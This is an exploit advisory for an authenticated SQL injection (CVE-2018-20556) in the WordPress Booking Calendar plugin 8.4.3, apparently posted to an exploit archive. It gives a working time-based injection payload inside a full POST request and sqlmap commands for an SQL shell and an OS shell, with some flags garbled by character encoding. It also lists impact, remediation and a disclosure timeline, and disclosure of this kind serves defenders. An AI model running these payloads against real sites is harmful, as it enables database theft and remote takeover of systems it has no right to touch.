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WordPress Booking Calendar 8.4.3 SQL Injection

WordPress Booking Calendar 8.4.3 SQL Injection
Posted Feb 15, 2019
Authored by B0UG

WordPress Booking Calendar version 8.4.3 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2018-20556
MD5 | 7a2386ca2d65fab4e86ccdc39fdbb109

WordPress Booking Calendar 8.4.3 SQL Injection

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# Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability
# Date: 2018-12-28
# Exploit Author: B0UG
# Vendor Homepage: https://wpbookingcalendar.com/
# Software Link: https://wordpress.org/plugins/booking/
# Version: Tested on version 8.4.3 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-20556

#I. VULNERABILITY

Authenticated SQL Injection

#II. BACKGROUND
'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations.

#III. DESCRIPTION
An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database.

#IV. PROOF OF CONCEPT
1) Access WordPress control panel.
2) Navigate to the Booking Calendar plugin page.
3) Set up Burp Suite to capture the traffic.
4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry.
5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'.
6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection:
aC/ Boolean based blind injection
aC/ Error based injection
aC/ Time based injection

7) We can perform a time based SQL injection by appending ) AND SLEEP(100) AND (1=1 after the ID value in the parameter as shown below.
action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67

Obtaining a shell using sqlmap
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aC/ Obtain a SQL Shell
Sqlmap ar post-request.txt ap booking_id --sql-shell

aC/ Obtain a Linux Shell
Sqlmap ar post-request.txt ap booking_id --os-shell

aC/ Obtain a Windows Command Prompt
Sqlmap ar post-request.txt ap booking_id --os-cmd

#V. IMPACT
The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability.

#VI. SYSTEMS AFFECTED
WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected).

#VII. REMEDIATION
Uninstall the plugin until the vulnerability has been fixed by the developer.

#VIII. DISCLOSURE TIMELINE
#December 28, 2018 1: Vulnerability identified.
#December 28, 2018 2: Informed developer of the vulnerability.
#February 14, 2019 3: No communication received back from the developer.

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